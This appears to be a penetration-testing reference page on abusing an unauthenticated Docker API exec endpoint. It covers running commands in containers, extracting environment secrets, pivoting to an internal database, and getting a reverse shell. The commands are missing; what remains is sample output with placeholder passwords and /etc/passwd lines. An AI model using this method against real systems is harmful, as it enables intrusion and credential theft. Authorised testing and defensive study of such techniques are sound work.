Docker API RCE via Exec
When running containers are present on the target, the Docker API exec endpoint enables executing arbitrary commands inside them without any additional authentication. This is useful when the container holds application secrets, database access, or internal service connectivity that is not directly reachable from outside. Container exec is also a stepping stone when the host filesystem mount approach is blocked by AppArmor or other controls — exec into an existing privileged container gives the same outcome. Confirm running containers through Docker API service detection first.
Execute Commands in a Running Container
CONTAINER ID NAMES IMAGE a1b2c3d4e5f6 webapp nginx:latest b2c3d4e5f6a7 db mysql:8.0
root@a1b2c3d4e5f6:/var/www/html#
Non-Interactive Command Execution
For scripted extraction without an interactive shell:
DB_HOST=db DB_DATABASE=webapp DB_USERNAME=webapp_user DB_PASSWORD=WebAppP@ss! APP_KEY=base64:abc123==
=== /webapp === DB_PASSWORD=WebAppP@ss! SECRET_KEY=django-insecure-abc123 === /db === MYSQL_ROOT_PASSWORD=r00tP@ssword!
Access Internal Services via Container Network
Containers on the same Docker network can reach each other by service name. From inside the webapp container, the database is reachable at its container name:
Database information_schema webapp mysql
username password admin $2y$10$hashedpassword... john.smith $2y$10$hashedpassword2...
Get a Reverse Shell from Inside a Container
Exec via Raw API — Without Docker CLI
The exec flow via raw API requires three requests: create the exec instance, start it, and read the output:
e1f2a3b4c5d6...
root:x:0:0:root:/root:/bin/bash www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
References
-
Docker Engine API — Execdocs.docker.com/engine/api/v1.41/#tag/Exec (opens in new tab)
Container exec create and start endpoint reference
Was this helpful?
Your feedback helps improve this page.